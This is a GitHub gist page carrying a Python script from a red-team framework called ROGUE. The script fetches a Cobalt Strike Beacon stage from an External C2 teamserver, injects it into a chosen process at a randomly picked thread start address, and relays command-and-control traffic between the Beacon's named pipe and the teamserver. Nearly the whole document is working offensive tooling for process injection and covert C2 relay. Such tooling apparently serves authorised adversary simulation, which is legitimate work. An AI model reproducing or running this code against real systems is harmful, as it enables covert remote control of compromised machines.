Skip to content

Instantly share code, notes, and snippets.

@827Dream
Forked from realoriginal/extc2.py
Created May 20, 2023 00:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 827Dream/e6b56edd3c2466e0c054598214dedb44 to your computer and use it in GitHub Desktop.
Save 827Dream/e6b56edd3c2466e0c054598214dedb44 to your computer and use it in GitHub Desktop.
#
# ROGUE
#
# GuidePoint Security LLC
#
# Threat and Attack Simulation Team
#
import os
import sys
import click
import struct
import socket
import random
import click_params
from lib import errors
from lib import static
from lib import buffer
from lib import ntstatus
from lib import logging
from lib import helper
from lib.client import rogue_cmd
def send_frame_sock( sock_fd, buffer : bytes ) -> None:
"""
Sends a extc2 frame to the Cobalt Strike Teamserver.
"""
# create the buffer: [len] + buffer
buf = struct.pack( '<I', len( buffer ) )
buf += buffer
# send the entire buffer
sock_fd.sendall( buf )
def recv_frame_sock( sock_fd ) -> bytes:
"""
Recieves a extc2 frame from the Cobalt Strike Teamserver.
"""
# read the buffer size
buf = sock_fd.recv( 4 )
# extract the frame size
buffer_size = struct.unpack( '<I', buf )[0]
# task buffer recieved from the teamserver
buffer_task = b''
# loop until we have the full data reiceved!
while len( buffer_task ) < buffer_size:
# read what we can from the buffer
buffer_task += sock_fd.recv( buffer_size - len( buffer_task ) )
# return the buffer
return buffer_task
def send_frame_pipe( cmd_obj, agent_id, pipe_fd, buffer ) -> None:
"""
Sends a extc2 frame to the Beacon.
"""
# Write the length in little endian first
cmd_obj.rogue_pipe_write( agent_id, pipe_fd, struct.pack( '<I', len( buffer ) ) )
# set the offset we've written thus far
buffer_queue = buffer
# loop through until we've written everything thus far
while len( buffer_queue ) != 0:
# queue to the pipe
buffer_write = cmd_obj.rogue_pipe_write( agent_id, pipe_fd, buffer_queue );
# adjust to the next buffer
buffer_queue = buffer_queue[ buffer_write : ]
def recv_frame_pipe( cmd_obj, agent_id, pipe_fd ) -> bytes:
"""
Receives a extc2 frame from the Beacon.
"""
# read the buffer size from the buffer!
buffer_size = 0
buffer_task = b''
while True:
try:
# read a buffer if possible!
buf = cmd_obj.rogue_pipe_read( agent_id, pipe_fd, 4, True );
if buf != b'':
# unpack the incoming size!
buffer_size = struct.unpack( '<I', buf )[0]
break;
except errors.ClientTaskWindowsError as e:
# Since were reading 'exactly' what we want, ignore
if e.data == ntstatus.NtStatus.STATUS_BUFFER_TOO_SMALL:
# ignore
continue
else:
# re-raise it!
raise e
except Exception as e:
raise e
# loop until we have the full data recieved!
while len( buffer_task ) < buffer_size:
# read what we can from the buffer
buffer_task += cmd_obj.rogue_pipe_read( agent_id, pipe_fd, buffer_size - len( buffer_task ), False )
# return the buffer
return buffer_task
@click.command( name = 'extc2', short_help = 'Cobalt Strike External C2.' )
@click.option( '--rpc-host', required = True, type = click_params.IPV4_ADDRESS, help = 'Address of the rpc server to connect to.', default = static.DEFAULT_RPC_HOST, show_default = True)
@click.option( '--rpc-port', required = True, type = int, help = 'Port of the rpc server to connect to.', default = static.DEFAULT_RPC_PORT, show_default = True )
@click.option( '--agent-id', required = True, type = int, help = 'Agent identifier' )
@click.option( '--pid', required = False, type = int, help = 'Process identifier' )
@click.option( '--start-addr', required = False, type = helper.click_hex_int, help = 'Start address to set for the injected code' )
@click.option( '--pipe-name', required = False, type = str, help = 'Named pipe used for communication with the postex' )
@click.option( '--teamserver-extc2-host', required = True, type = click_params.IPV4_ADDRESS, help = 'Address of the Cobalt Strike External C2 listener' )
@click.option( '--teamserver-extc2-port', required = True, type = int, help = 'Port of the Cobalt Strike External C2 listener' )
def extc2( rpc_host, rpc_port, agent_id, pid, start_addr, pipe_name, teamserver_extc2_host, teamserver_extc2_port ):
"""
Relays a Cobalt Strike Beacon over rogue through its External C2 interface.
This mechanism is experimental and is not designed to be a fast channel for
operators.
If no PID is specified, it will inject the same process as the agent. If a
start address is not specified the script will choose one for you. If a
pipe name is not specified, one will be generated for you based on safe
defaults.
"""
# initialize cmd
cmd = rogue_cmd.RogueCommand( rpc_host, rpc_port )
# pull the agent info
cli = cmd.rpc.get_agent( agent_id );
# is the PID set? If not, set it to the agents
if pid is None:
# A PID has been set.
pid = cli['Pid']
else:
# ask to the pull the architecture of the process
tgt_arch = cmd.rogue_proc_is_64( agent_id, pid );
lcl_arch = cli['x64']
# not the same architecture
if tgt_arch != lcl_arch:
logging.error( 'cannot perform cross architecture process injection.' );
return
# is the start address set? If not, set it to 0.
if start_addr is None:
# Attempt to get one using proc_thread
proc_thread_raw = cmd.rogue_proc_thread( agent_id, pid );
proc_thread_adr = []
# could not pull proc thread information
if proc_thread_raw == b'':
logging.error( 'could not pull thread information to find a start address' );
return
# loop through each line
for line in proc_thread_raw.split( b'\n' ):
if line:
# got the thread info
thread_info = line.split( b'\t' );
proc_thread_adr.append( int( thread_info[ 1 ], 16 ) );
# pick a random address from the list
start_addr = proc_thread_adr[ random.randint( 0, len( proc_thread_adr ) - 1 ) ];
# print the start address
logging.debug( f'Using start address {hex(start_addr)} in PID {pid}' )
# no pipe name generate
if pipe_name is None:
# generate the pipe name with a safe version
pipe_name = helper.generate_postex_pipe( pid, cli['Tid'] );
# print the pipe name
logging.debug( f'Using pipe name {pipe_name}' )
beacon_pipe = None
beacon_sock = None
# establish a connection to the CS teamserver
try:
beacon_sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
beacon_sock.connect(( str( teamserver_extc2_host ), teamserver_extc2_port ))
# ask for a beacon stage from the agent
logging.success( f'Established a connection the Cobalt Strike Teamserver @ {teamserver_extc2_host}:{teamserver_extc2_port}' )
# request an beacon based on arch
if cli['x64']:
send_frame_sock( beacon_sock, 'arch=x64'.encode() )
else:
send_frame_sock( beacon_sock, 'arch=x86'.encode() )
# request based on the requested pipe and blocking type. note: adjust here
send_frame_sock( beacon_sock, f'pipename={pipe_name}'.encode() )
send_frame_sock( beacon_sock, f'block=100'.encode() )
send_frame_sock( beacon_sock, f'go'.encode() )
# recieve the beacon frame
beacon_stage = recv_frame_sock( beacon_sock )
# print!
logging.debug( f'Beacon stage recieved of length {len(beacon_stage)}' )
# inject it!
beacon_point = cmd.rogue_inject( agent_id, pid, beacon_stage, None, start_addr, 0x1000 * 20, 0 );
# open the named pipe
beacon_pipe = cmd.rogue_pipe_open( agent_id, pipe_name, False );
while True:
try:
# read from the beacon!
beacon_smb_frame = recv_frame_pipe( cmd, agent_id, beacon_pipe );
# print!
logging.debug( f'Sending {len(beacon_smb_frame)} bytes of data to the Teamserver' )
# send to the teamserver!
send_frame_sock( beacon_sock, beacon_smb_frame )
# recv from the teamserver!
beacon_tcp_frame = recv_frame_sock( beacon_sock )
# print!
logging.debug( f'Sending {len(beacon_tcp_frame)} bytes of data to the Beacon' )
# send to the beacon!
send_frame_pipe( cmd, agent_id, beacon_pipe, beacon_tcp_frame )
except errors.ClientTaskWindowsError as e:
if e.data == ntstatus.NtStatus.STATUS_PIPE_DISCONNECTED:
# we were disconnected!
logging.error( f'Connection with Beacon was lost.' )
else:
# generic unknwon error?
logging.error( f'Unknown NTSTATUS error: {hex(e.data)}' )
# abort!
raise SystemExit
except Exception as e:
# unknwon exception occured
logging.error( f'Unknown error: {e}' )
# abort!
raise SystemExit
except Exception as e:
logging.error( f'Unknown error: {e}' )
# abort!
raise SystemExit
finally:
# close the named pipe
if beacon_pipe != None:
logging.debug( 'Disconnecting from the beacon' )
cmd.rogue_pipe_close( agent_id, beacon_pipe );
# close the client socket
if beacon_sock != None:
logging.debug( 'Disconnecting from the teamserver' )
beacon_sock.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment